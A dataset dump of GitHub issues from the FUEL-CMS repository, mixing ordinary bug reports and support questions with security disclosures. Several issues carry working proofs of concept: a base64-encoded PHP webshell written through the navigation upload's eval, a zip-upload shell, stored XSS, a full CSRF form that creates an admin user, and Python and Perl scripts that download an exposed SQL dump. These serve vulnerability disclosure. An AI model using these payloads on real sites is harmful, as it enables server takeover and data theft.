issue_owner_repo
listlengths
2
2
issue_body
stringlengths
0
261k
issue_title
stringlengths
1
925
issue_comments_url
stringlengths
56
81
issue_comments_count
int64
0
2.5k
issue_created_at
stringlengths
20
20
issue_updated_at
stringlengths
20
20
issue_html_url
stringlengths
37
62
issue_github_id
int64
387k
2.46B
issue_number
int64
1
127k
[ "daylightstudio", "FUEL-CMS" ]
I installed as instruction. I did it many days, but still don't solve it. who can help me? This is my .htaccess I use mamp. php7.0.33 <IfModule mod_rewrite.c> RewriteEngine On RewriteBase /FUEL-CMS-master/ <Files .*> Order Deny,Allow Deny From All </Files> # Allow asset folders through RewriteRule ^(fuel/modules/(.+)?/assets/(.+)) - [L] # Protect application and system files from being viewed RewriteRule ^(fuel/install/.+|fuel/crons/.+|fuel/data_backup/.+|fuel/codeigniter/.+|fuel/modules/.+|fuel/application/.+) - [F,L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule .* index.php/$0 [L] # Prevents access to dot files (.git, .htaccess) - security. RewriteCond %{SCRIPT_FILENAME} -d RewriteCond %{SCRIPT_FILENAME} -f RewriteRule "(^|/)\." - [F] </IfModule> http://localhost/FUEL-CMS-master/fuel/dashboard it still show 404 page not found. I tried to change RewriteRule .* index.php?/$0 [L]. but it still the same problem. my other website can hide index.php , i think my apache config is ok.
404 page not found
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/557/comments
6
2020-06-04T04:01:57Z
2020-06-06T05:08:01Z
https://github.com/daylightstudio/FUEL-CMS/issues/557
630,492,943
557
[ "daylightstudio", "FUEL-CMS" ]
Got the following errors/messages on homepage after installing ``` Severity: 8192 Message: Array and string offset access syntax with curly braces is deprecated Filename: helpers/MY_string_helper.php Line Number: 146 Backtrace: File: /var/www/fuel/fuel/modules/fuel/core/Loader.php Line: 138 Function: helper File: /var/www/fuel/fuel/modules/fuel/core/Loader.php Line: 148 Function: helper File: /var/www/fuel/fuel/modules/fuel/core/Loader.php Line: 132 Function: helpers File: /var/www/fuel/fuel/modules/fuel/core/Loader.php Line: 95 Function: initialize File: /var/www/fuel/fuel/modules/fuel/controllers/Page_router.php Line: 10 Function: __construct File: /var/www/fuel/index.php Line: 364 Function: require_once A PHP Error was encountered Severity: 8192 Message: Array and string offset access syntax with curly braces is deprecated Filename: helpers/markdown_helper.php Line Number: 912 Backtrace: File: /var/www/fuel/fuel/application/third_party/MX/Modules.php Line: 158 Function: _error_handler File: /var/www/fuel/fuel/application/third_party/MX/Modules.php Line: 158 Function: include_once File: /var/www/fuel/fuel/modules/fuel/core/Loader.php Line: 140 Function: load_file File: /var/www/fuel/fuel/modules/fuel/models/Base_module_model.php Line: 198 Function: helper File: /var/www/fuel/fuel/modules/fuel/models/Fuel_pages_model.php Line: 51 Function: __construct File: /var/www/fuel/fuel/modules/fuel/core/Loader.php Line: 252 Function: __construct File: /var/www/fuel/fuel/modules/fuel/core/Loader.php Line: 455 Function: model File: /var/www/fuel/fuel/modules/fuel/libraries/Fuel_pages.php Line: 645 Function: module_model File: /var/www/fuel/fuel/modules/fuel/libraries/Fuel_pages.php Line: 558 Function: assign_location File: /var/www/fuel/fuel/modules/fuel/libraries/Fuel_pages.php Line: 525 Function: initialize File: /var/www/fuel/fuel/modules/fuel/libraries/Fuel_pages.php Line: 65 Function: __construct File: /var/www/fuel/fuel/modules/fuel/controllers/Page_router.php Line: 70 Function: create File: /var/www/fuel/index.php Line: 364 Function: require_once A PHP Error was encountered Severity: 8192 Message: Array and string offset access syntax with curly braces is deprecated Filename: helpers/markdown_helper.php Line Number: 1208 Backtrace: File: /var/www/fuel/fuel/application/third_party/MX/Modules.php Line: 158 Function: _error_handler File: /var/www/fuel/fuel/application/third_party/MX/Modules.php Line: 158 Function: include_once File: /var/www/fuel/fuel/modules/fuel/core/Loader.php Line: 140 Function: load_file File: /var/www/fuel/fuel/modules/fuel/models/Base_module_model.php Line: 198 Function: helper File: /var/www/fuel/fuel/modules/fuel/models/Fuel_pages_model.php Line: 51 Function: __construct File: /var/www/fuel/fuel/modules/fuel/core/Loader.php Line: 252 Function: __construct File: /var/www/fuel/fuel/modules/fuel/core/Loader.php Line: 455 Function: model File: /var/www/fuel/fuel/modules/fuel/libraries/Fuel_pages.php Line: 645 Function: module_model File: /var/www/fuel/fuel/modules/fuel/libraries/Fuel_pages.php Line: 558 Function: assign_location File: /var/www/fuel/fuel/modules/fuel/libraries/Fuel_pages.php Line: 525 Function: initialize File: /var/www/fuel/fuel/modules/fuel/libraries/Fuel_pages.php Line: 65 Function: __construct File: /var/www/fuel/fuel/modules/fuel/controllers/Page_router.php Line: 70 Function: create File: /var/www/fuel/index.php Line: 364 Function: require_once A PHP Error was encountered Severity: 8192 Message: Array and string offset access syntax with curly braces is deprecated Filename: helpers/markdown_helper.php Line Number: 1233 Backtrace: File: /var/www/fuel/fuel/application/third_party/MX/Modules.php Line: 158 Function: _error_handler File: /var/www/fuel/fuel/application/third_party/MX/Modules.php Line: 158 Function: include_once File: /var/www/fuel/fuel/modules/fuel/core/Loader.php Line: 140 Function: load_file File: /var/www/fuel/fuel/modules/fuel/models/Base_module_model.php Line: 198 Function: helper File: /var/www/fuel/fuel/modules/fuel/models/Fuel_pages_model.php Line: 51 Function: __construct File: /var/www/fuel/fuel/modules/fuel/core/Loader.php Line: 252 Function: __construct File: /var/www/fuel/fuel/modules/fuel/core/Loader.php Line: 455 Function: model File: /var/www/fuel/fuel/modules/fuel/libraries/Fuel_pages.php Line: 645 Function: module_model File: /var/www/fuel/fuel/modules/fuel/libraries/Fuel_pages.php Line: 558 Function: assign_location File: /var/www/fuel/fuel/modules/fuel/libraries/Fuel_pages.php Line: 525 Function: initialize File: /var/www/fuel/fuel/modules/fuel/libraries/Fuel_pages.php Line: 65 Function: __construct File: /var/www/fuel/fuel/modules/fuel/controllers/Page_router.php Line: 70 Function: create File: /var/www/fuel/index.php Line: 364 Function: require_once A PHP Error was encountered Severity: 8192 Message: Array and string offset access syntax with curly braces is deprecated Filename: helpers/markdown_helper.php Line Number: 1562 Backtrace: File: /var/www/fuel/fuel/application/third_party/MX/Modules.php Line: 158 Function: _error_handler File: /var/www/fuel/fuel/application/third_party/MX/Modules.php Line: 158 Function: include_once File: /var/www/fuel/fuel/modules/fuel/core/Loader.php Line: 140 Function: load_file File: /var/www/fuel/fuel/modules/fuel/models/Base_module_model.php Line: 198 Function: helper File: /var/www/fuel/fuel/modules/fuel/models/Fuel_pages_model.php Line: 51 Function: __construct File: /var/www/fuel/fuel/modules/fuel/core/Loader.php Line: 252 Function: __construct File: /var/www/fuel/fuel/modules/fuel/core/Loader.php Line: 455 Function: model File: /var/www/fuel/fuel/modules/fuel/libraries/Fuel_pages.php Line: 645 Function: module_model File: /var/www/fuel/fuel/modules/fuel/libraries/Fuel_pages.php Line: 558 Function: assign_location File: /var/www/fuel/fuel/modules/fuel/libraries/Fuel_pages.php Line: 525 Function: initialize File: /var/www/fuel/fuel/modules/fuel/libraries/Fuel_pages.php Line: 65 Function: __construct File: /var/www/fuel/fuel/modules/fuel/controllers/Page_router.php Line: 70 Function: create File: /var/www/fuel/index.php Line: 364 Function: require_once A PHP Error was encountered Severity: 8192 Message: Array and string offset access syntax with curly braces is deprecated Filename: helpers/markdown_helper.php Line Number: 1564 Backtrace: File: /var/www/fuel/fuel/application/third_party/MX/Modules.php Line: 158 Function: _error_handler File: /var/www/fuel/fuel/application/third_party/MX/Modules.php Line: 158 Function: include_once File: /var/www/fuel/fuel/modules/fuel/core/Loader.php Line: 140 Function: load_file File: /var/www/fuel/fuel/modules/fuel/models/Base_module_model.php Line: 198 Function: helper File: /var/www/fuel/fuel/modules/fuel/models/Fuel_pages_model.php Line: 51 Function: __construct File: /var/www/fuel/fuel/modules/fuel/core/Loader.php Line: 252 Function: __construct File: /var/www/fuel/fuel/modules/fuel/core/Loader.php Line: 455 Function: model File: /var/www/fuel/fuel/modules/fuel/libraries/Fuel_pages.php Line: 645 Function: module_model File: /var/www/fuel/fuel/modules/fuel/libraries/Fuel_pages.php Line: 558 Function: assign_location File: /var/www/fuel/fuel/modules/fuel/libraries/Fuel_pages.php Line: 525 Function: initialize File: /var/www/fuel/fuel/modules/fuel/libraries/Fuel_pages.php Line: 65 Function: __construct File: /var/www/fuel/fuel/modules/fuel/controllers/Page_router.php Line: 70 Function: create File: /var/www/fuel/index.php Line: 364 Function: require_once ``` And the following when I tried to open the admin page. ``` A PHP Error was encountered Severity: 8192 Message: Array and string offset access syntax with curly braces is deprecated Filename: helpers/MY_string_helper.php Line Number: 146 Backtrace: File: /var/www/fuel/fuel/modules/fuel/core/Loader.php Line: 138 Function: helper File: /var/www/fuel/fuel/modules/fuel/core/Loader.php Line: 148 Function: helper File: /var/www/fuel/fuel/modules/fuel/core/Loader.php Line: 132 Function: helpers File: /var/www/fuel/fuel/modules/fuel/core/Loader.php Line: 95 Function: initialize File: /var/www/fuel/fuel/modules/fuel/libraries/Fuel_base_controller.php Line: 53 Function: __construct File: /var/www/fuel/fuel/modules/fuel/controllers/Dashboard.php Line: 8 Function: __construct File: /var/www/fuel/index.php Line: 364 Function: require_once ``` Using the latest version of Fuel CMS with PHP 7.4.4
PHP 7.4 Compatibility
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/554/comments
1
2020-03-20T11:50:02Z
2020-03-24T20:20:20Z
https://github.com/daylightstudio/FUEL-CMS/issues/554
585,017,640
554
[ "daylightstudio", "FUEL-CMS" ]
<img width="837" alt="c1" src="https://user-images.githubusercontent.com/9522862/74326653-bc397680-4dc5-11ea-9e41-c24b32bf4bad.png"> upload function: <img width="1006" alt="c2" src="https://user-images.githubusercontent.com/9522862/74326673-c3608480-4dc5-11ea-89d8-9246baff623c.png"> $This-> fuel-> navigation-> upload ($ params) was called $This-> fuel-> navigation-> upload function: <img width="696" alt="c3" src="https://user-images.githubusercontent.com/9522862/74326859-1cc8b380-4dc6-11ea-9695-4dc3963702ca.png"> ` $file = read_file($file_path); if (empty($file)) { return FALSE; } // strip any php tags $file = str_replace('<?php', '', $file); // run xss_clean on it $file = xss_clean($file); // now evaluate the string to get the nav array @eval($file);` Only uploaded code <? Php tags replaced with spaces And filtered the xss tags. Then executed the code @eval ($ file); So we can construct php code to write webshell to web directory. code: <img width="769" alt="c4" src="https://user-images.githubusercontent.com/9522862/74327409-1e46ab80-4dc7-11ea-90fa-d24623c02f28.png"> `file_put_contents("aaaaaa.php",base64_decode("PD9waHAgc3lzdGVtKCRfR0VUWydpZCddKTs/Pg=="));` Because the <? Php tag is filtered, we use base64 to encode the command execution code Then upload <img width="1091" alt="c5" src="https://user-images.githubusercontent.com/9522862/74327601-6ebe0900-4dc7-11ea-95d1-68690e4975a6.png"> Although the error is prompted, our code has been executed, and we can see the generated files on the web and directories. <img width="652" alt="c6" src="https://user-images.githubusercontent.com/9522862/74327711-9dd47a80-4dc7-11ea-9d4f-08bcb924e5e7.png"> <img width="427" alt="c7" src="https://user-images.githubusercontent.com/9522862/74327794-bb094900-4dc7-11ea-8149-aaae5f8c7193.png">
Code execution in navigation/upload
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/553/comments
0
2020-02-12T10:44:49Z
2020-09-30T21:04:55Z
https://github.com/daylightstudio/FUEL-CMS/issues/553
563,911,041
553
[ "daylightstudio", "FUEL-CMS" ]
Stored xss in Page title, Meta description, Meta keywords of pages <img width="1140" alt="xss1" src="https://user-images.githubusercontent.com/9522862/74311085-9a31fb00-4da9-11ea-84a0-b65eb76ba02b.png"> <img width="1146" alt="xss2" src="https://user-images.githubusercontent.com/9522862/74311126-aae27100-4da9-11ea-9f81-e0cd591eed83.png"> Front page: <img width="908" alt="xss3" src="https://user-images.githubusercontent.com/9522862/74311157-bb92e700-4da9-11ea-80f9-3cde0dd99d16.png"> <img width="1082" alt="xss4" src="https://user-images.githubusercontent.com/9522862/74311161-c0f03180-4da9-11ea-8071-3dd0b1c142e0.png"> <img width="987" alt="xss5" src="https://user-images.githubusercontent.com/9522862/74311168-c51c4f00-4da9-11ea-8a38-6bd3c4666318.png"> <img width="963" alt="xss6" src="https://user-images.githubusercontent.com/9522862/74311169-c64d7c00-4da9-11ea-8334-f06dd70acb39.png"> <img width="1254" alt="xss7" src="https://user-images.githubusercontent.com/9522862/74311173-c8173f80-4da9-11ea-9ce5-d125ac2d0717.png">
XSS in pages
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/552/comments
0
2020-02-12T07:10:34Z
2021-04-15T18:33:49Z
https://github.com/daylightstudio/FUEL-CMS/issues/552
563,798,483
552
[ "daylightstudio", "FUEL-CMS" ]
1. First create a php file that executes the command and compress the php file into a zip <img width="606" alt="1" src="https://user-images.githubusercontent.com/9522862/74303980-98127100-4d96-11ea-9b59-101e6d44d889.png"> <img width="320" alt="2" src="https://user-images.githubusercontent.com/9522862/74304008-b11b2200-4d96-11ea-8039-012dfdde450f.png"> 2.Upload files in assets and check Unzip zip files <img width="782" alt="3" src="https://user-images.githubusercontent.com/9522862/74304057-d740c200-4d96-11ea-8759-b96f7c372bd8.png"> 3.Click assets to see the uploaded php file <img width="1647" alt="4" src="https://user-images.githubusercontent.com/9522862/74304105-f4759080-4d96-11ea-8ab0-b4aee5a5f1b0.png"> 4.Execute system command <img width="507" alt="5" src="https://user-images.githubusercontent.com/9522862/74304129-09522400-4d97-11ea-9e57-f4e286c860b5.png">
getshell in assets
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/551/comments
1
2020-02-12T04:56:19Z
2020-09-30T20:49:24Z
https://github.com/daylightstudio/FUEL-CMS/issues/551
563,752,895
551
[ "daylightstudio", "FUEL-CMS" ]
Hello, after following all the steps required, i got this error both with "mysql" and "mysqli". I'm using MariaDB version 10.3.17 > An uncaught Exception was encountered Type: Error Message: Call to undefined function mysqli_init() Filename: /var/www/html/FUEL-CMS/fuel/codeigniter/database/drivers/mysqli/mysqli_driver.php Line Number: 135 Backtrace: File: /var/www/html/FUEL-CMS/fuel/modules/fuel/core/Loader.php Line: 473 Function: DB File: /var/www/html/FUEL-CMS/fuel/modules/fuel/core/MY_Model.php Line: 159 Function: database File: /var/www/html/FUEL-CMS/fuel/modules/fuel/core/MY_Model.php Line: 112 Function: initialize File: /var/www/html/FUEL-CMS/fuel/modules/fuel/core/Loader.php Line: 241 Function: load_class File: /var/www/html/FUEL-CMS/fuel/modules/fuel/core/Loader.php Line: 455 Function: model File: /var/www/html/FUEL-CMS/fuel/modules/fuel/libraries/Fuel_pages.php Line: 645 Function: module_model File: /var/www/html/FUEL-CMS/fuel/modules/fuel/libraries/Fuel_pages.php Line: 558 Function: assign_location File: /var/www/html/FUEL-CMS/fuel/modules/fuel/libraries/Fuel_pages.php Line: 525 Function: initialize File: /var/www/html/FUEL-CMS/fuel/modules/fuel/libraries/Fuel_pages.php Line: 65 Function: __construct File: /var/www/html/FUEL-CMS/fuel/modules/fuel/controllers/Page_router.php Line: 70 Function: create File: /var/www/html/FUEL-CMS/index.php Line: 364 Function: require_once Could you pleas help? Thanks
Error with MariaDB on Raspberry
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/550/comments
1
2020-01-27T14:28:30Z
2020-01-27T18:07:43Z
https://github.com/daylightstudio/FUEL-CMS/issues/550
555,611,185
550
[ "daylightstudio", "FUEL-CMS" ]
How to make navigation not static, like this one? One - sub one - sub one Two - sub two - sub two
Navigation help
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/547/comments
2
2019-10-03T07:57:44Z
2019-10-03T10:49:32Z
https://github.com/daylightstudio/FUEL-CMS/issues/547
501,910,903
547
[ "daylightstudio", "FUEL-CMS" ]
I just started using The Fuel CMS so am new to it, running my Application on UBUNTU 18.04 and made all the folders in /opt/lamp/htdocs writable but still got this message after i used the fuel cms part to create a page. error message: You must make the /opt/lampp/htdocs/e-learning/fuel/application/cache/dwoo/compiled/ folder writable.
Error of Folder writable
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/545/comments
1
2019-09-14T06:03:45Z
2021-04-15T18:34:01Z
https://github.com/daylightstudio/FUEL-CMS/issues/545
493,588,707
545
[ "daylightstudio", "FUEL-CMS" ]
Consider this piece of code in a migration file, throwing an error at `$user->delete()` ```php public function down() { $user = $this->fuel->users->model()->find_one(['user_name' => 'stm']); $user->delete(); // this works //$this->fuel->users->model()->delete(['user_name' => 'stm']); } ``` **Fatal error: Cannot use object of type Fuel_user_model as array in fuel\modules\fuel\models\Fuel_users_model.php on line 857** https://github.com/daylightstudio/FUEL-CMS/blob/master/fuel/modules/fuel/models/Fuel_users_model.php#L857 Or do I access the model the wrong way?
Wrong type in Fuel_user_model::delete()
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/544/comments
5
2019-09-13T16:05:47Z
2019-09-13T20:18:19Z
https://github.com/daylightstudio/FUEL-CMS/issues/544
493,405,376
544
[ "daylightstudio", "FUEL-CMS" ]
In my model I add $foreign_keys for categories ```php class Events_model extends Base_posts_model { public $foreign_keys = array( 'category_id' => array( FUEL_FOLDER => 'my_fuel_categories_model', 'where' => ['context' => 'events'] ) ); public function __construct() { parent::__construct('events'); } } ``` unfortunately my `where` query is getting ignored, because the parent class just overwrites it. https://github.com/daylightstudio/FUEL-CMS/blob/master/fuel/modules/fuel/models/Base_posts_model.php#L50 it should look like this I guess: ```php if (!empty($this->foreign_keys['category_id']) && empty($this->foreign_keys['category_id']['where'])) { $this->foreign_keys['category_id']['where'] = '(FIND_IN_SET("'.$this->name.'", '.$this->_tables['fuel_categories'].'.context) OR '.$this->_tables['fuel_categories'].'.context="")'; } ```
Base_post_model ignores $foreign_key ' where'
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/540/comments
0
2019-08-21T09:25:31Z
2019-08-21T09:26:14Z
https://github.com/daylightstudio/FUEL-CMS/issues/540
483,303,848
540
[ "daylightstudio", "FUEL-CMS" ]
I noticed the fix in issue #536. I further found that although xss can no longer be triggered in Blocks, there are still stored XSS vulnerabilities in the Dashboard. ![Snipaste_2019-08-20_16-35-58](https://user-images.githubusercontent.com/16147858/63331697-ccb5ea80-c368-11e9-9871-34fbcf03ed7a.jpg) ![Snipaste_2019-08-20_16-36-31](https://user-images.githubusercontent.com/16147858/63331698-cd4e8100-c368-11e9-850a-9432d964928f.jpg)
XSS in Dashboard
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/538/comments
0
2019-08-20T08:38:20Z
2021-05-14T14:00:12Z
https://github.com/daylightstudio/FUEL-CMS/issues/538
482,722,508
538
[ "daylightstudio", "FUEL-CMS" ]
![image001](https://user-images.githubusercontent.com/54193091/63215529-d6c3b900-c0dc-11e9-841d-040f7b4923cb.jpg) ![image002](https://user-images.githubusercontent.com/54193091/63215531-dcb99a00-c0dc-11e9-8a6b-2ccdc4ff1ee1.jpg) ![image003](https://user-images.githubusercontent.com/54193091/63215533-e17e4e00-c0dc-11e9-94d8-219bbd06d081.jpg) ![image002](https://user-images.githubusercontent.com/54193091/63215540-ecd17980-c0dc-11e9-97b6-be106d3e2269.jpg) ![image003](https://user-images.githubusercontent.com/54193091/63215542-f0650080-c0dc-11e9-9eea-9b440d41ffc9.jpg)
XSS and CSRF in Blocks
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/536/comments
0
2019-08-17T17:52:01Z
2021-05-14T14:00:24Z
https://github.com/daylightstudio/FUEL-CMS/issues/536
481,910,543
536
[ "daylightstudio", "FUEL-CMS" ]
There's a vulnerability in the select function within the pages controller. The filter variable takes in any input that is posted to it without sanitising the input, this led to someone managing to post files onto our server and run functions from them. If you look at line 897 in the pages controller you will see what I mean. It also doesn't verify if the user is logged in at all, so is wide open for any user to access without needing to know a login
Pages select function vunerability
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/533/comments
1
2019-07-31T15:14:39Z
2019-07-31T15:40:41Z
https://github.com/daylightstudio/FUEL-CMS/issues/533
475,204,957
533
[ "daylightstudio", "FUEL-CMS" ]
Fuel_router has a private var $located that MX_Router has as public which results in a fatal error. Changed to a public and seems to work.
Private var needs to be public
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/532/comments
5
2019-06-06T00:19:20Z
2019-06-22T18:42:05Z
https://github.com/daylightstudio/FUEL-CMS/issues/532
452,773,994
532
[ "daylightstudio", "FUEL-CMS" ]
I have an supplement for the User Guide about "Advanced modules" because it is misleading: ============================= SUBJECT ==> The User Guide says here: (http://docs.getfuelcms.com/modules/advanced) "7. Last but not least, in order to see your module you must add the folder name of your module to the $config['modules_allowed'] array in your fuel/application/config/MY_fuel.php file." ==> The comment in MY_fuel.php says: // specifies which modules are allowed to be used in the fuel admin $config['modules_allowed'] = ... ============================= PROBLEM: Even if I do not specify my module in MY_fuel.php, I can access my controllers and views ( so I think as an beginner i configured my module correct, BUT the constants in {module_name}_constants.php are not available in my views.
User Guide ++ Docu supplement ++ Advanced modules
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/531/comments
0
2019-05-08T23:03:11Z
2019-05-08T23:04:10Z
https://github.com/daylightstudio/FUEL-CMS/issues/531
441,968,168
531
[ "daylightstudio", "FUEL-CMS" ]
Toying around with a custom PhpStorm inspection for missing translations, and got some results in FuelCMS :-) * `layout_field_alias` in _fuel/modules/fuel/config/fuel_layouts.php:85_ (should this be `layout_field_alias_copy`?) * `form_label_context` in _fuel/modules/fuel/config/fuel_modules.php:172_ (there is `form_label_content`, but not sure if that was the intended key) * `error_invalid_id` in _fuel/modules/fuel/controllers/Module.php:933_ * `error_select_replacement` in _fuel/modules/fuel/controllers/Module.php:1822_ * `navigation_model_parent_id` in _fuel/modules/fuel/models/Fuel_navigation_model.php:328_
Several language lines do not exist in lang files
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/529/comments
0
2019-04-29T23:40:16Z
2019-04-30T00:22:02Z
https://github.com/daylightstudio/FUEL-CMS/issues/529
438,550,825
529
[ "daylightstudio", "FUEL-CMS" ]
FUELCMS has a CSRF vulnerability to add/delete admin users. The problems in the system include adding users (including administrators), deleting users, modifying user privileges, etc. When adding users, grab the package and get the following picture: <img width="1263" alt="1" src="https://user-images.githubusercontent.com/29268708/56796262-bed1dc00-6844-11e9-9306-c767eec633d3.png"> So an attacker just needs to construct POC and send it to the administrator. If the administrator opens this page, he will be attacked by CSRF. POC: ``` <!DOCTYPE html> <html> <head>Test for CSRF</title> <script type="text/javascript"> function csrf(){ document.getElementById('csrf_test').submit(); } </script> </head> <body onload="csrf();"> <script>history.pushState('', '', '/')</script> <form id="csrf_test" action="http://192.168.159.134/fuelcms/index.php/fuel/users/create/" method="POST" enctype="multipart/form-data"> <input type="hidden" name="user&#95;name" value="panda" /> <input type="hidden" name="email" value="panda@cnpanda.net" /> <input type="hidden" name="first&#95;name" value="admin" /> <input type="hidden" name="last&#95;name" value="cnadmin" /> <input type="hidden" name="new&#95;password" value="admin" /> <input type="hidden" name="confirm&#95;password" value="admin" /> <input type="hidden" name="active" value="yes" /> <input type="hidden" name="is&#95;invite" value="1" /> <input type="hidden" name="toggle&#95;perms" value="1" /> <input type="hidden" name="permissions&#91;&#93;" value="27" /> <input type="hidden" name="permissions&#91;&#93;" value="6" /> <input type="hidden" name="permissions&#91;&#93;" value="7" /> <input type="hidden" name="permissions&#91;&#93;" value="10" /> <input type="hidden" name="permissions&#91;&#93;" value="8" /> <input type="hidden" name="permissions&#91;&#93;" value="9" /> <input type="hidden" name="permissions&#91;&#93;" value="16" /> <input type="hidden" name="permissions&#91;&#93;" value="17" /> <input type="hidden" name="permissions&#91;&#93;" value="20" /> <input type="hidden" name="permissions&#91;&#93;" value="18" /> <input type="hidden" name="permissions&#91;&#93;" value="19" /> <input type="hidden" name="permissions&#91;&#93;" value="35" /> <input type="hidden" name="permissions&#91;&#93;" value="33" /> <input type="hidden" name="permissions&#91;&#93;" value="31" /> <input type="hidden" name="permissions&#91;&#93;" value="32" /> <input type="hidden" name="permissions&#91;&#93;" value="11" /> <input type="hidden" name="permissions&#91;&#93;" value="12" /> <input type="hidden" name="permissions&#91;&#93;" value="15" /> <input type="hidden" name="permissions&#91;&#93;" value="13" /> <input type="hidden" name="permissions&#91;&#93;" value="14" /> <input type="hidden" name="permissions&#91;&#93;" value="1" /> <input type="hidden" name="permissions&#91;&#93;" value="2" /> <input type="hidden" name="permissions&#91;&#93;" value="5" /> <input type="hidden" name="permissions&#91;&#93;" value="3" /> <input type="hidden" name="permissions&#91;&#93;" value="4" /> <input type="hidden" name="permissions&#91;&#93;" value="30" /> <input type="hidden" name="permissions&#91;&#93;" value="34" /> <input type="hidden" name="permissions&#91;&#93;" value="28" /> <input type="hidden" name="permissions&#91;&#93;" value="26" /> <input type="hidden" name="permissions&#91;&#93;" value="21" /> <input type="hidden" name="permissions&#91;&#93;" value="22" /> <input type="hidden" name="permissions&#91;&#93;" value="25" /> <input type="hidden" name="permissions&#91;&#93;" value="23" /> <input type="hidden" name="permissions&#91;&#93;" value="24" /> <input type="hidden" name="permissions&#91;&#93;" value="29" /> <input type="hidden" name="permissions&#95;exists" value="1" /> <input type="hidden" name="id" value="" /> <input type="hidden" name="language" value="" /> <input type="hidden" name="exists&#95;permissions" value="1" /> <input type="hidden" name="&#95;&#95;fuel&#95;module&#95;&#95;" value="users" /> <input type="hidden" name="&#95;&#95;fuel&#95;module&#95;uri&#95;&#95;" value="users" /> <input type="hidden" name="&#95;&#95;fuel&#95;id&#95;&#95;" value="" /> <input type="hidden" name="&#95;&#95;fuel&#95;inline&#95;action&#95;&#95;" value="create" /> <input type="hidden" name="&#95;&#95;fuel&#95;inline&#95;&#95;" value="0" /> <input type="hidden" name="fuel&#95;inline" value="0" /> </form> </body> </html> ``` Before execution: <img width="1437" alt="2" src="https://user-images.githubusercontent.com/29268708/56796970-3f450c80-6846-11e9-92ab-a515758fbd4e.png"> After execution: <img width="1439" alt="3" src="https://user-images.githubusercontent.com/29268708/56796997-4c61fb80-6846-11e9-8c81-5575ab6ed455.png"> Here are just examples of adding users. In fact, deleting users and modifying user privileges also have the same vulnerabilities.
There has a CSRF vulnerability to add/delete admin users
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/528/comments
2
2019-04-26T09:14:29Z
2021-05-02T08:16:12Z
https://github.com/daylightstudio/FUEL-CMS/issues/528
437,576,810
528
[ "daylightstudio", "FUEL-CMS" ]
######################################################################### # Impact : *********** * The product stores sensitive information in files or directories that are accessible to actors outside of the intended control sphere. * An information exposure is the intentional or unintentional disclosure of information to an actor that is not explicitly authorized to have access to that information. * phpMyAdmin is a free software tool written in PHP, intended to handle the administration of MySQL over the World Wide Web. It can be used to dump a database or a collection of databases for backup or transfer to another SQL server (not necessarily a MySQL server). The dump typically contains SQL statements to create the table, populate it, or both. This file contains an phpMyAdmin SQL dump. This information is highly sensitive and should not be found on a production system. * It looks like this file contains a database backup/dump. Acunetix inferred this filename from the domain name. A database backup contains a record of the table structure and/or the data from a database and is usually in the form of a list of SQL statements. A database backup is most often used for backing up a database so that its contents can be restored in the event of data loss. This information is highly sensitive and should never be found on a production system. Remediation : Sensitive files such as database backups should never be stored in a directory that is accessible to the web server. As a workaround, you could restrict access to this file. ########################################################################### # File : ******** /fuel/install/archive/widgicorp.sql Information : ************* -- phpMyAdmin SQL Dump -- version 2.10.2 -- phpmyadmin.net -- -- Host: localhost -- Server version: 5.0.45 -- PHP Version: 5.3.2 -- Database: `fuel_widgicorp` raw.githubusercontent.com/daylightstudio/FUEL-CMS/master/fuel/install/archive/widgicorp.sql Other File : *********** /fuel/install/archive/fuel_schema_0.9.3.sql raw.githubusercontent.com/daylightstudio/FUEL-CMS/master/fuel/install/archive/fuel_schema_0.9.3.sql ########################################################################### # Database Disclosure Information Exposure Exploit 1 : *********************************************** #!/usr/bin/python import string import re from urllib2 import Request, urlopen disc = "/fuel/install/archive/widgicorp.sql" url = raw_input ("URL: ") req = Request(url+disc) rta = urlopen(req) print "Result" html = rta.read() rdo = str(re.findall("resources.*=*", html)) print rdo exit ########################################################################### # Database Disclosure Information Exposure Exploit 2 : *********************************************** #!/usr/bin/perl -w # Author : KingSkrupellos # Team : Cyberizm Digital Security Army use LWP::Simple; use LWP::UserAgent; system('cls'); system('TheDayLightStudio GetFuelCMS Database Disclosure Exploit'); system('color a'); if(@ARGV < 2) { print "[-]How To Use\n\n"; &help; exit(); } sub help() { print "[+] usage1 : perl $0 site.com /path/ \n"; print "[+] usage2 : perl $0 localhost / \n"; } ($TargetIP, $path, $File,) = @ARGV; $File="fuel/install/archive/widgicorp.sql"; my $url = "http://" . $TargetIP . $path . $File; print "\n Wait Please Dear Hacker!!! \n\n"; my $useragent = LWP::UserAgent->new(); my $request = $useragent->get($url,":content_file" => "D:/fuel/install/archive/widgicorp.sql"); if ($request->is_success) { print "[+] $url Exploited!\n\n"; print "[+] Database saved to D:/fuel/install/archive/widgicorp.sql\n"; exit(); } else { print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n"; exit(); }
TheDayLightStudio GetFuelCMS 0.9.3 Database Disclosure
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/527/comments
2
2019-04-05T07:41:19Z
2022-07-30T13:50:18Z
https://github.com/daylightstudio/FUEL-CMS/issues/527
429,623,551
527
[ "daylightstudio", "FUEL-CMS" ]
https://forum.codeigniter.com/thread-72626.html
CodeIgniter 3.1.10
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/524/comments
1
2019-01-23T22:58:35Z
2020-09-23T04:50:17Z
https://github.com/daylightstudio/FUEL-CMS/issues/524
402,467,610
524
[ "daylightstudio", "FUEL-CMS" ]
Im reciving this error... This page isn’t working localhost redirected you too many times. Try clearing your cookies. ERR_TOO_MANY_REDIRECTS
Failed to run
